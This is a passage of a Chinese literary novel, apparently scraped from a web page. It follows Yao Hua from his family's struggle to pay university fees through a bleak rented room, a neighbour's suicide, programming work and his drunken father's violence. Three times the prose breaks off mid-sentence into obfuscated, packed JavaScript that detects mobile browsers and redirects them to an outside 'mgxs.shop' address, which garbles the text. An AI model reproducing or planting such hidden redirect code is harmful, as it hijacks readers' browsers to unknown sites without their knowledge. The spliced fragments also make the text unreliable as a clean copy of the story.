他走出来，手里拿着一本书。深蓝色封面，边缘磨得发白起毛。他小心地翻开，指着其中一页的插图：黑白的车床，一个工人在操作。图下面有字：车工基本操作示意图。 “当年，”姚建国说，手指在图上摩挲，指甲缝里还塞着黑泥，“我想干这个。” 姚华第一次认真看父亲的眼睛。浑浊，布满血丝，瞳孔里映出昏黄的灯光，也映出那本《车工入门》泛黄的纸页。 “可是没成。”姚建国笑了笑，笑得很干，像枯叶在风里摩擦的声音，“你爷爷没门路，我只能去那个国营包子铺端盘子。” 他把书合上，合得很轻。“现在好了，我儿子，要学计算机了。计算机……”他顿了顿，“比车床高级。不用沾一手油。” 张玉芬转身去了厨房。锅里炖着茄子，水快烧干了，她添了瓢水，火苗“噗”地窜起来。 晚饭吃得很沉默。茄子炖土豆，土豆没炖烂，硬邦邦的。吃到一半，姚建国突然说：“钱，我想办法。” “你有什么办法？” “我去借。” “跟谁借？六千二，不是六十二！” 姚建国不说话了，低头扒饭。扒了几口，他放下碗，碗底还有几粒米，他一颗颗捡起来塞进嘴里。“我找老二。” 夜里，姚华睡不着。他听见父母在堂屋说话。 “六千二……把咱们俩拆了卖零件都不值这个数。” “老二那边，能借两千。我明天去找老三。” “剩下三千二呢？” 沉默。很长很长的沉默。然后姚建国说：“我去卖血。” “你疯了！你这身子骨，还有血可卖吗？你那血，送人家人家都嫌稀！” “那你说怎么办？我姚建国没本事，我认了！但我儿子有本事，他考上了！我就是卖肾，也得让他上这个学！” “你卖肾？你那肾谁要？喝酒喝得都快烂完了！” 姚华用被子蒙住头。数到两千，父亲的呜咽声传来了，那种压抑的、从喉咙深处挤出来的声音，像受伤的野兽在舔伤口。 第二天，姚建国真去找二伯了。姚华去了友谊罐头厂后面的垃圾堆，捡了一百二十三斤废铁。废品站老头叼着烟袋：“十四块七毛六。” 姚华接过钱。十四块七毛六，距离六千二，还差六千一百八十五块两毛四。按这个速度，要捡够学费，得再捡四百多天。一天不落。 回到家时，姚建国坐在门槛上，手里捏着个存折。“你二伯给的，两千八。这是给明明攒的嫁妆，明明去年嫁人了，没要那么多彩礼，这钱就剩下了。” 姚华看着存折。两千八，很多，但又那么少。 “你三叔给了五百。他儿子今年也要上大学。” 三千三。还差两千九。 日子一天天过去，像钝刀割肉。张玉芬一天糊二十个小时火柴盒，手指溃烂，缠着破布条继续糊。姚建国什么活都干：通下水道、掏粪坑、在殡仪馆抬尸体——有一次他回来，身上有股奇怪的味道，怎么洗也洗不掉，那是死亡的味道。 八月中旬，钱终于凑够了。姚建国把所有的钱摊在床上：有整有零，最大的是一百的，最小的是一分的硬币。他们数了一遍又一遍，最后数目定格在六千二百三十块——多了三十。 “够了。”张玉芬说，声音很轻。 姚建国看着那堆钱，看了很久。突然，他站起来，走到院子里。姚华跟出去，看见父亲蹲在墙角，用那双粗糙的手捂住脸。月光冷冷地照着他，照着他花白的头发，照着他佝偻的背。 没有声音。只有夜风吹过破窗棂的呼啸声。 开学前三天，张玉芬开始给姚华准备行李。几件旧衣服，一个掉漆的搪瓷缸子，一条补了两个洞的毛巾。最后是袜子，她从箱底翻出所有破袜子，一共三十双，坐在灯下一针一线地补。补丁摞补丁，补得厚厚的。 “学校就在河西，骑车半个钟头就到了。”她一边补一边说，“每周记得回来，妈给你做好吃的。” 姚华看着母亲的手，在昏黄的灯光下像两截枯树枝。他突然想起小时候，这双手曾那么柔软。 “妈，我会回来的。” 张玉芬的手停了一下，针尖在指尖扎出个血珠。她塞进嘴里吮了吮，继续补。“回不回来都行，你好好的就行。” 最后一双袜子补完时，天快亮了。 九月一号，早晨下了点小雨。姚华把背包绑在自行车后座上——自行车是跟老李借的。 张玉芬站在门口，手里攥着个塑料袋，里面是六个煮鸡蛋。“路上吃，到了学校，好好吃饭。” 姚建国也出来了。穿着那件灰衬衫洗得发白了，袖口磨破了，张玉芬给缝了两针，针脚歪歪扭扭的。他想说什么，嘴张了张，没说出来。最后，他从怀里掏出那本《车工入门》，塞进姚华的背包。 “拿着，看见它，就记着……记着爹这辈子，也就这样了。你不一样。” 雨停了，太阳从云缝里钻出来。姚华骑上车，回头看了一眼。母亲还站在门口，手搭在额前挡着阳光。父亲靠在门框上，双手插在裤兜里，看着他。 姚华转过头，蹬车。车轮转动起来，带着他驶出胡同，驶上土路。 风带着初秋的凉意。姚华骑得很快，快得能听见自己的心跳。他想，这就是逃亡——不是逃往远方，而是逃往一个只有三十里、却仿佛隔着一生的地方。 骑到盐坨桥时，他停下来。桥是老桥，铁栏杆锈得厉害，有几处已经断了，用铁丝胡乱缠着。桥下的海河水是浑黄的，缓缓向东流去。而河西区，高楼林立，轻工业学院就在那片楼群之中。 姚华推车走上桥。桥面坑坑洼洼，自行车颠得厉害。走到桥中央时，他停下来，从背包里掏出那本《车工入门》，翻到扉页。上面有一行褪色的钢笔字：“学一门技术，走遍天下都不怕。” 他想起父亲说这话时的神情——那种混合着遗憾、骄傲和某种他当时不懂的东西的神情。现在他懂了，那是一种把自己的梦想像遗产一样打包传给下一代的郑重其事。只是这遗产太沉重了，压得人喘不过气。 桥那头传来汽车喇叭声。姚华合上书，重新塞回背包。他推车继续走，车轮碾过桥面破损的水泥，发出咔嚓咔嚓的声音。过了这座桥，他就离盐坨村远了，离那个父亲用铸成的、让人窒息的王国远了。 他终于有机会离父亲创造的王国远了一点——那个王国里，爱是用苦难称量的，关心是用叹息包裹的，每一次呼吸都仿佛在说：看我为你付出了多少。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119416|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 下了桥，柏油路变得平整了。姚华骑上车，穿过了海河上的桥，骑进河西区。街道整洁，楼房高大，行人穿着体面的衣服。他看见轻工业学院的校门了，铁艺的，上面挂着红色的横幅：“欢迎新同学”。 他在校门口停下，下车，推着车走进去。校园很大，有教学楼，有图书馆，有操场。学生们三三两两地走着，说着笑着，脸上洋溢着一种他从未有过的轻松。 他找到报到处，排队，递上录取通知书，交学费。六千二百元，厚厚的一沓钱，从他手里递出去，换回一张收据，几张表格。 手续办完了，他推着车去找宿舍。路过一栋教学楼时，他看见墙上贴着课程表：C语言程序设计、数据结构、计算机组成原理……这些陌生的词，将构成他未来四年的生活。 宿舍在五楼，八人间。他进去时，已经有三个室友到了。他们看见他，点点头，算是打过招呼。没人问他从哪里来，没人问他背包为什么那么旧，没人问他鞋上的补丁。 姚华找到自己的床位，靠窗的上铺。他爬上去，开始铺床。床单是学校发的，白色的，很干净。他把被子抖开，被套也是新的，有一股阳光晒过的味道。 铺好床，他躺下来，看着天花板。天花板很白，白得刺眼。窗外传来操场上打篮球的声音，砰砰砰，像心跳。 他突然想起早晨过盐坨桥时，桥下浑黄的河水。那河水会一直流，流过盐坨村，流过友谊罐头厂，流过父亲每天走过的路。而他在这里，躺在干净的床单上，听着打篮球的声音。 姚华翻了个身，从背包里掏出那本《车工入门》。翻开，里面夹着一张纸，是他昨晚写的，密密麻麻的数字：二伯两千八，三叔五百，母亲糊火柴盒挣的八百，父亲抬尸体挣的六百，卖废铁挣的一百四，借邻居的三百，还有……还有他不知道怎么来的八百。 每一笔钱，都有一个故事，都有一个伤口。 他把纸撕碎，撕得很碎，碎得像雪。碎纸片从指缝漏下去，落在崭新的床单上，白茫茫一片，像一场微型雪崩。 然后他坐起来，从上铺的窗户往下看。校园里人来人往，都是陌生的面孔。远处，天津的街道纵横交错，像一张巨大的网。而在网的边缘，在三十里外，是盐坨村，是盐坨桥，是友谊罐头厂的烟囱，是补了三十双袜子的母亲，是拿出《车工入门》的父亲。 他逃出来了。物理上，他只逃了三十里，过了一座桥。但心理上，他逃到了一个父亲永远无法理解的世界：一个由代码、算法、二进制构成的世界，一个没有铁屑、没有糨糊、没有直沽高粱的世界。 可是，真的逃掉了吗？ 姚华对着窗户哈了一口气。白雾在玻璃上晕开，模糊了外面的世界。他用手指，在那一小片雾气上，写了一个字。 逃。 字写得很大，很用力，几乎要划破玻璃。雾气很快散了，字也淡了，消失了，像从来没存在过。 但姚华知道，它会一直在。就像盐坨桥会一直在，桥下的浑黄河水会一直在，父亲眼中1974年的铁屑会一直在。 窗外，轻工业学院的上课铃响了，清脆，悠长。姚华从床上跳下来，穿上鞋——还是那双补过的鞋，鞋底又开胶了，走起路来啪嗒啪嗒响。 但他不在乎。他要去上他的第一节课：C语言程序设计。他要走进那个由0和1构成的世界，在那里，一切都清晰，一切都可控，一切都服从逻辑。 不像生活。不像盐坨桥那头的那个世界——那个爱和苦难搅在一起、感激和窒息难分彼此的世界。 他走出宿舍楼，走进九月的阳光里。自行车还停在楼下，车座上积了层薄薄的灰。他看了一眼，没去骑。 今天，他想走路。一步一步，踩在这片陌生的土地上，踩向一个未知的、但必须抵达的未来。 身后，宿舍楼的影子被拉得很长，长得像一条尾巴，一条他永远也甩不掉的、名叫“过去”的尾巴。而盐坨桥，就横在那尾巴的尽头，锈迹斑斑，但依然坚固，依然连接着两岸，依然提醒着他：有些逃亡，只是一座桥的距离；有些距离，却是一生都跨不过的桥。 10. 第十章 地藏庵胡同 高新区的楼，脸刮得青白，半道皱纹也寻不见。中亚数据公司那面玻璃幕墙，人打跟前过，瘦的榨成丝，胖的熬成饼，总归照不出本相。姚华头回去，借的领带在脖上扭成麻花，墙里那人肩膀垮着，西装空荡荡，能塞进两棵冬储白菜。他心想，这哪里是玻璃，分明是杆秤，专秤人的斤两。 人事的姑娘话赶话，脆生生像打算盘：“月薪一千八，试用仨月。转正三千二。十五号发工资，打卡。迟到扣五十，三回算旷工。”工牌递过来，塑料片冰凉，蓝带子一套，颈上一紧——像是牵牲口进圈前，给挂个铃铛。照片是毕业前慌忙照的，那天晌午为啃馒头还是嚼烧饼，愁得眉头锁死，苦汁能拧出二两。 办公区敞得心慌，格子间挨挨挤挤，嗡嗡响。姚华的座儿靠窗，电脑是旧年款式，显示器厚实，能防身。邻座一头卷毛，不像敲代码的，倒像搞艺术的。“新来的？”那人眼不离屏，手指在键盘上乱跑，像给机器搔痒。 “哎，试用。” “哪儿的山门？” “轻工业学院。” “哦。”卷毛扭过身去，后脑勺油亮亮，反着光。 食堂在地下，灯暗得像窖。姚华打最便宜的档口：白菜豆腐土豆丝，五块钱。找座时看见卷毛也在，饭盒里卧着几块红烧肉，颤巍巍，油光红亮，朝他招手似的。姚华在对面试探着坐下：“姚华。” “瞅见了，”那人夹起一块肉，“姓刘，刘洪汕。” “刘工。” 刘洪汕不答，专心对付肉。吃完抹嘴：“住处定了？” “还没。” “高新区金贵，上海河那头瞅瞅，教堂边上，地藏庵大街。” 下班姚华真去了。名叫大街，实是条瘦肠子胡同，两人走对面得斜着身子。电线杆上招租的条子，被雨咬过，字迹洇成泪痕。第三个电话是个老太太接的，嗓子粗得像砂纸打铁：“单间，八平米，二百八。” “能瞅眼？” “来呗。” 胡同深处有个院子，老槐树歪着脖子，偷听了几十年的私语。老太太把厨房隔出一半——真就是一半，三合板一挡，高不过胸口，进门得弯腰，像钻洞。里头一张行军床，小桌瘸了腿，用砖垫着，窗户糊着旧报纸，铅字反印在玻璃上，像天机倒着写。 “就这？” “就这。”老太太叉着腰，“爱租不租，这价钱，比一个月煎饼果子还贱。” 姚华摸了下墙，墙皮簌簌地落，像人老了掉头皮屑。他还是租了——二百八，在城里就买这么大个棺材瓤子，刚够躺直。 交钱时手抖。卡里四千七，是四年大学里卖洗澡票，一张张攒的。押三付一交罢，剩三千五百四。老太太从里屋抱出床褥子：“旧的，四十。晒过了，没虱子。” 褥子有股樟脑味儿，像打开一口老箱子。铺床时，床吱呀呀响，像老人叹气。 夜里隔壁窸窸窣窣，像老鼠嫁女。后半夜忽然有女人哭，声压得低，从地缝里渗出来。姚华蒙上头数数，数到一千八，天麻灰灰亮了。 第二天上班，玻璃墙里那人还是瘦，西装皱得像腌菜叶子。刘洪汕斜他一眼：“租了？” “租了，地藏庵大街。” “那地方啊……”刘洪汕话吐半句，缩回去，键盘敲得山响。 发工资那天，短信来时，姚华正在调一段死循环。一千八，他数了三遍。取了五百块新票子，去中山路“燎原鞋店”买了衬衫、裤子、皮鞋，拢共三百五。回隔间换上，衬衫领子硬得硌脖子，裤腰能再塞进半个自己，皮鞋咬脚，走一步，疼一步。 周末张玉芬来，提着一饭盒饺子。“茴香馅，”她说，“你从小就好这口。” 饺子还温着，姚华咬一口，茴香味冲脑门。张玉芬打量这隔间，眉头拧成疙瘩：“这能住人？” “能躺就行。” “窗都不透亮。” “透亮的，得加钱。” 张玉芬不言语了，摸摸被子：“薄，入冬咋办？” “入冬再说。” “再说？”张玉芬声调扬起，“冻死在这儿，谁给你收骨头？” 姚华闷头吃饺子。张玉芬走时，往枕头底下塞了五百，五张连号新票子，硬挺挺的，像五片膏药。 夜里姚建国来电话，是个陌生手机号。他那头背景是哗啦啦的麻将声。“上班了？”声音瓮着。 “上了。” “干啥营生？” “写代码。” “几个钱？” “试用期一千八。” 电话那头静了，只剩麻将牌碰撞，清脆脆的，像在算账。过了半晌，姚建国说：“一千八……能买二百斤上好白面了。” 电话挂断，忙音拖得老长。姚华泡了碗面，切了根火腿肠铺上，给苍白的日子添点荤腥。吃到一半，隔壁忽然闹起来，有人喊“快解下来！”“没气儿了！”，脚步声杂沓，踩得院子心慌。 第二天一早出门，隔壁门口围了一圈人。房东老太太正跟警察说话：“……穷哩，欠了三个月租子，我说不急，他倒急上了……”人群里知情的低声补：“上吊，裤腰带，拴暖气管子上了。” 姚华挤过去看。门开着，屋里比他那间还窄，一张板床，一个炉子，墙上贴着明星画报，画上的人笑出一嘴白牙，没心没肺。地上用粉笔画了个人形，白乎乎的，像给影子描了边。 去上班路上，煎饼摊大姐问：“住地藏庵那块儿？”姚华点头。大姐舀一勺面糊摊开：“昨儿夜里那档子事儿，听说了？唉，这人世……”鸡蛋磕在铁板上，滋啦一声，像句叹息。 玻璃墙还是那堵墙。姚华走过，看见自己影子被扯得细长，长得像根绳。他突然想，昨夜那人蹬开凳子时，最后一眼看见的是什么？是斑驳的天花板，是笑盈盈的明星画，还是窗外那绺被胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119417|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同挤成线的天？ 坐到工位上，刘洪汕凑过来，压低嗓子：“地藏庵，昨儿夜里？” “嗯。” “去年也有一个，喝药的。”刘洪汕推推眼镜，“穷病，没方子治。” 姚华打开电脑，代码一行行绿着。他敲键盘，敲得特别重，像要把钉子楔进木头里。敲着敲着，想起母亲塞的那五百块钱，连号的，崭新的，在抽屉最底下压着。又想起父亲那句“二百斤白面”，想起上吊那人墙上的画报，明星正冲他笑，笑得像个巨大的嘲讽。 下班回胡同，隔壁门封了，交叉贴着封条，像个打错的“×”。院里邻居聚着嘀咕，声音压得低，怕惊动什么。“可惜了，才三十一。”“听说老家留着娃呢。”“债主逼的？” 老太太看见姚华，招手让他近前：“吓着了吧？今儿给你换床厚被，不加钱。” 夜里裹着新被子，还是冷。听见院里野猫叫，一声长，一声短，像婴孩夜啼。姚华数数，数到一千八，数到三千二，数到五千——是他半年能攒下的数。数着数着，忽然明白了那玻璃墙为啥照人变形：它照的不是皮囊，是皮囊里头那点分量。瘦了显轻，胖了显沉，横竖没个准谱。 就像这地藏庵大街，名儿叫大街，实是条穷肠子；就像隔壁死了人，上午哭过，下午就有人来看房；就像他这一千八，在村里是笔款，在城里只够喘气——喘着气，像墙皮上的霉斑，见不得光，可也死不透。 他翻身，床又吱呀呀响。这回他听真了，那响声在说：活着，活着，活着。 窗户外面，教堂尖顶在黑夜里化成一抹剪影。姚华想起白天路过时，看见墙上那句“神爱世人”。他想问，神爱不爱地藏庵胡同的人？爱不爱用裤带上吊的人？爱不爱一个月挣一千八、还得挤出五百寄回家的人？ 没人应他。只有野猫又叫了一嗓子，凄厉得很，把夜撕开一道口子。 明天还得上班，还得经过那面玻璃墙，还得敲代码，敲出一条条路——不知通到哪儿，但总得敲。就像公交站旁那卖煎饼果子的，天天刮铁板，刮出一张张饼，养活着自己，也养活着这条胡同的清晨。 姚华闭上眼，这回没数数。他听见自己的心跳，咚，咚，咚，敲得慢，但实沉。像在叩一扇门，门那头是什么不晓得，但叩着，就说明这口气还没断。 气不断，就能看见明天的煎饼摊，能看见玻璃里变形的自己，能看见代码变成钱，钱变成饭，饭变成力气，力气变成下一个明天。 也够了。他想，天津卫六百多年了，多少人在这些胡同里活过、死过、烂过，不差他一个。可既然来了，总得活出个样儿——哪怕只是在玻璃墙上照出个歪样儿，也得是抻直了脊梁的歪样儿。 窗外，教堂钟声没响，倒听见远处火车拉笛，呜——悠悠长长，像一声叹息，叹给这座城，叹给海河，叹给地藏庵胡同，叹给所有在夜里睁着眼、数着明天的人。 11. 第十一章 代码是新语言 高新区给三千二，税前。姚华蹬车过盐坨桥那天，合同在帆布包里窸窣响。桥栏杆锈得斑驳，红一块褐一块，像腌过头又风干了的腊肉——盐坨桥这名儿不虚，早先明清两代，这儿是北地最大的盐码头。如今盐早没了，剩个名儿，和桥底下五颜六色的塑料袋，在太阳底下反着腻光。 村里人还自称“盐坨人”，其实跟盐的交情，就剩炒菜时多抖的那一撮。姚华在桥头刹住车，瞅见桥墩上滚着红漆大字：“盐坨盐坨，越活越矬”。底下有人添了句：“放屁，是你自个儿矬”。两行字中间画了个肥猪头，咧着嘴，倒像在笑。姚华也咧了咧嘴，笑完心里空了一块。这桥连着两头：南边起高楼，玻璃幕墙亮得晃眼；北边卡在八十年代出不来，墙皮脱落露出里头的青砖。代码，成了他过桥的票。 回家辞行。张玉芬那辆三轮车竟宽了些——不知从哪拆了块门板钉在侧边，多摆了两摞《黄冈密卷》。家里那台二手电脑还嗡嗡响着，键盘字母磨平了大半，张玉芬拿涂改液一个一个描上去，白的，歪歪扭扭，像新生儿刚冒的乳牙。 “妈，我得去高新区了。”姚华说。 “哦。”她又开始敲键盘，敲得慢，一个键一个键往下摁，像在数数，“那……还回来不？” “回，放假就回。” 张玉芬点点头，不说话。过一会儿忽然站起，开抽屉摸出个蓝布包袱，一层层揭开，里头一沓钱，边角齐整。“拿着，”她说，“外面吃饭贵。” 姚华一瞅，少说三千。鼻子蓦地一酸：“我有钱，开三千二呢。” “那是你的。”张玉芬硬往他手里塞，指关节硌人，“这是妈的。卖书挣的。” 钱是新票子，油墨味儿冲鼻——跟早年糊火柴盒挣的毛票味儿不一样。姚华想起小时候，母亲糊一个火柴盒挣三厘，要糊十万个才抵得上这沓。现在呢，卖一本《五年高考三年模拟》能落三块。世道变了，变的不是人，是活法。 “那程序还好使？”他问。 “好使。”张玉芬笑了，皱纹挤成一团，“就是爱闹鬼。” “闹鬼？” “啊。明明进了二十本《中考复习提纲》，它愣说二十五本。多出来那五本，天上掉下来的？”她压低声音，神神秘秘，“我寻思是早年淹死的盐工，阴魂不散，也想考学。” 姚华乐了：“那是程序出错了，漏洞。我给您瞧瞧。” 查代码。果然，库存函数里他把“+=”写成了“=+”，每回进货都凭空多出五本。这么糙的错，自己竟一直没发觉。人看自己的毛病，总像隔层雾。 “不是鬼，”他边改边说，“是您儿子写瓢了。” 张玉芬凑过来，屏幕上满是弯弯绕绕的洋字码。“就这些勾勾圈圈，能记住我进了多少书？” “能。” “真神了。”她摇头，“比盐坨娘娘还灵。” 盐坨娘娘是村里的保家仙，传说是明朝跳河的盐商闺女变的。姚华记得小时候，娘牵他去拜，求娘娘让他“脑子活泛点，别像爹妈似的一根筋”。如今想来，娘娘兴许真听见了——没让他变机灵，倒让他学会了代码这门新咒语。世上的事，求的和得的，常是两样。 走那天，姚建国罕有地起了早，闷声送到盐坨桥。过桥时，他忽然开口：“这桥……我爷爷那辈就有老桥，骡车运盐，一辆接一辆，桥震得轰隆隆响。” 姚华等着下话。 “后来老桥塌了，修了这座。”姚建国盯着桥面，眼神空茫茫的，“盐没了，桥也老了。” 桥是真老了。栏杆锈穿了眼，桥面坑洼洼，走上去咚咚响，像桥在咳嗽。姚华想起教授说过的“技术债”——代码写糙了，后人就得没完没了打补丁，跟这桥一个命。 “爸，”他说，“等我挣了钱，接您跟妈上市里住。” 姚建国笑了，笑得皱巴巴：“市里有啥好？天还不是一样的天。”顿了顿，“你好生干。写字儿……编程，能挣钱，就踏实挣。” 这是爹头一回正眼瞧他的营生。姚华愣了愣，点头：“嗯。” 蹬车时姚华不回头，但盐坨村一直在往后褪。那些矮趴趴的平房，歪斜的电线杆，堆成小山的垃圾，在晨雾里糊成一片灰影子。他想，自己可能再也不回来了——不是不想，是不敢。怕一回来，就让那黏糊糊的穷重新裹住，像桥底的淤泥，踩进去就拔不出脚。 高新区的日子跟想的不一样。说是小中关村，公司却挤在旧写字楼里，电梯慢得像喘不过气，楼道永远飘着麻辣烫和盒饭的混合味儿。他干开发，天天写Java，跟上学时没两样，就是更忙，更累，钱多些。 头个月发薪，税后两千八。他给家里打了两千。张玉芬打电话来，声儿发紧：“寄这么多干啥？你不过了？” “够花。”姚华说，“中午管饭。” 他没说食堂白菜炖粉条里捞出过钢丝球；没说天天熬到夜里十点，回去倒头就睡。 第二个月，项目上线。庆功宴上，项目经理喝高了，拍他肩膀：“小姚，你代码扎实，就是太实诚。这行里，实诚人吃亏。” 姚华笑笑，没接话。他想说，在盐坨村，实诚是唯一的活法。耍滑？盐会潮，车会翻，桥会塌。可这话到嘴边又咽了回去，只又灌了一杯。酒辣，辣得他想起爹喝的那散装白酒，一块五一斤，喝完就拍桌子骂街。 年底，公司接了个大活儿——给连锁书店做全国库存系统。姚华分到核心模块。需求会开了三天，产品经理在白板上画了擦，擦了画，最后说：“咱们要的，是能实时同步全国三千家门店的系统。哪家店卖出一本书，系统立马更新。” 有人问：“断网咋整？” “本地存着，网好了再同步。” “同时买的人多了呢？” “分库分表，读写分离。” “数据对不上呢？” “最终一致就行，允许短时不一致。” 姚华听着，脑子里晃的却是娘推车去二中门口卖卷子，家里那台嗡嗡响的电脑，那个会把“+=”写瓢的简易程序。三千家店，三十万家店，骨子里跟那辆三轮车有啥区别？都是书进，书出，不过数字后头多几个零。零多了，人就晕了；人一晕，就觉得事儿大了。 他揽了最难的同步模块。那阵子，他真成了代码的囚徒。白天写，夜里写，梦里还在写。有时候写着写着，冷不丁想起盐坨桥——那座连起两个世道的桥。他现在写的代码，不也是座桥么？连着北京的服务器和全国三千家书店，连着数字世道和真人世道。 桥。哪儿都是桥。盐坨桥是水泥的，他写的桥是代码的。水泥桥会塌，代码桥也会崩。不一样的是，水泥桥塌了砸死人，代码桥崩了，顶多让三千家书店的库存数乱成一锅粥——乱完了，还能重来。虚拟世道的好处是，错了能重来；坏处也是，错了能重来，人就容易不当回事。 上线前夜，全组熬通宵。凌晨三点，姚华去洗脸，镜子里那张脸陌生得很：眼窝深陷，胡子拉碴。他想起爹在海河边挖沙的样儿，也是这般倦，这般木。区别是，爹挖的是真沙子，他挖的是虚代码。真沙子砌墙盖房，虚代码砌什么呢？砌一座座看不见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119418|195947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的城。 真魔幻啊。他对着镜子笑了。盐坨村的儿子，在高新区地下室里，写着管全国书店库存的代码。而他娘，正用他写的第一个漏洞百出的程序，管着三轮车里那点卷子。这中间隔着的，不止是几百里地，更是几十年光景。可光景和光景挨着，像书架上两本不同的书，脊贴脊站着，里头的故事却不挨着。 系统到底上线了。跑得顺当。庆功宴在高档酒店，姚华穿着唯一那身西装，缩在角落，看同事们举杯。有人喝高了开始吹，说这系统三年能占全国市场。姚华听着，忽然想起盐坨桥头那涂鸦：“盐坨盐坨，越活越矬”。 也许盐坨人永远“矬”，可矬有矬的活法。就像那桥，锈了，旧了，走上去吱嘎响，可它还杵在那儿，连着两岸，驮着每天来来往往的人——上班的，上学的，卖菜的，收破烂的。它不气派，但得用。得用的东西，就有它的道理。 宴散了，姚华一个人走上酒店外的天桥。高新区的天桥跟盐坨桥不一样，新，宽，灯亮堂堂，照得人影清晰。他靠着栏杆，看桥下车流，红尾灯连成一条河，淌向没尽头的远处。这河也是桥，车流是水，载着人去不同的地方。 手机响了，是娘。“华子，你那程序，又闹鬼了。” “这回咋了？” “我明明一本没卖，它今儿愣说，卖了五百本《中考500题》。”张玉芬声儿里带着笑，“盐坨娘娘这回要考状元了？” 姚华也笑了：“妈，那是有人从网上书店下单了。我做的那大系统，跟您这小程序连着呐。全国任一家店卖书，您这儿都显。” 电话那头静了好一阵。然后张玉芬说：“全国……有多大？” “大得很，”姚华说，“顶几千个盐坨村。” 又是静。最后张玉芬说：“那你……好生修桥。别让桥塌了。” 姚华怔了怔，明白了。娘不懂代码，不懂系统，不懂啥叫同步啥叫并发，可她懂桥。在她看来，儿子干的活，就是修桥——修一座看不见的桥，连着小盐坨村和大世界。世界大了，就容易空；桥长了，就容易晃。可再晃，也得修。 “嗯，”他说，“塌不了。” 挂了电话，姚华还瞅着桥下车流。那些红点，像代码世道里淌的0和1，有序，又乱序。他忽然想起教授的话：“代码是这年头的通用话。” 是啊，通用话。可说这话的人，有的在五星酒店举杯，有的在盐坨村拿涂改液描键盘。他们说的一样话，却活在两个世道。世道和世道之间，缺的不是话，是桥。 他能做的，就是接着修桥。用一行行代码，修一座从盐坨村通到高新区、通往更远处的桥。也许桥会晃，会响，会吱吱呀呀抱怨，可它总会在那儿。就像盐坨桥，就像在年头浪里扑腾的平常人，就像代码世道里那些看着凉、实则暖的数据流——暖，是因为那背后是一个个真人，买书，卖书，过日子。 夜深了，姚华走下天桥。影子在路灯底下拖得老长，长得像座桥，通到望不见的远处。而在远处的盐坨村，在那台嗡嗡响的二手电脑前，一个描白字键盘的女人，正用儿子教的新话，记着这年头最微小的奇事——一本书，从她手上，流到了一个她想不出有多宽展的世界。世界宽展了，人就小了；人小了，心事却大了。 桥没塌。事儿还在往前赶。代码，这新时节的盐，正悄悄改着每一寸土，每一个活人。盐腌东西，为的是不坏；代码编世界，为的是记住。记不住的东西，就跟从来没存在过一样。而改本身，就是最魔幻的真事儿——真到你以为是在做梦，梦醒了掐自己一把，疼。 12. 第十二章剥蒜的人 清明这天的雨，下得黏糊。不是江南那种细蒙蒙的愁，是北方平原上特有的、掺了尘土的黏，像谁家熬浆子没熬到时候，半生不熟的，糊在天上，再一绺一绺地往下淌。 姚建国是从晌午开始喝的。酒是散装的，塑料桶里澄着，他就着半包花生米，一颗能嘬三口。电视里正放《还珠格格》，小燕子的咋呼声穿过雨帘，直往人耳朵眼里钻——你说这电视也是怪，平时好好的，一到过节，偏要放这些热闹的，好像非要衬出谁家的冷清不可。 张玉芬在厨房剁馅。刀是老刀，刃口缺了几处，磕在案板上的声儿，哆哆哆，跟心跳合着拍。放假回家的姚华坐板凳上剥蒜，蒜皮黏在指缝里，搓来搓去搓不净——这世上的事大多这样，你想弄干净的，偏要黏着你。 “看啥电视！看啥电视！”姚建国突然吼了一嗓子。声儿像面破锣，敲了二十年，早破了音。 没人搭腔。这是姚家二十年攒下的活命经——醉鬼找茬时，最好当自己是墙皮，是地砖缝，是空气里浮的灰。你应一声，他能顺着话头爬上来，缠你一身酒气。 可今儿姚建国要的不是搭腔。他晃悠着站起来，手里还攥着酒瓶子。电视上紫薇正哭呢，哭得一波三折，肝肠寸断。他瞅着屏幕上那张脸，突然笑了，笑出两行泪来。 “你也哭！你哭个屁！”他指着电视骂，“老子都没哭！” 酒瓶抡起来时，张玉芬刚探出头。她看见男人的背影在荧屏光里胀大，胀成一个巨大的、变形的黑影，像皮影戏里张牙舞爪的妖魔。然后是一声闷响——不是脆生生的碎裂，是那种沉甸甸的、像内脏破了肚的动静。 显像管炸了。玻璃碴子崩开，在昏昏的屋里划出无数道短亮线，像流星，像过年放的炮仗，像这家从没有过的、短暂的热闹。 有片玻璃擦着姚华脸边飞过去，凉飕飕的。他没动，接着剥蒜。蒜瓣在手里捏着，汁子渗进刚才划出的细口里，刺辣辣的——人这一生啊，大多数疼都不是大张旗鼓的，是这种丝丝拉拉的、渗着辛辣的小口子。 姚建国站在废墟前头喘气，酒醒了一半。他瞅瞅地上碎碴，瞅瞅呆立的老婆，最后瞅向儿子。那眼神是空的，像口枯井。 “看啥看！”他又吼，可底气虚了，尾音飘着，像片落叶。 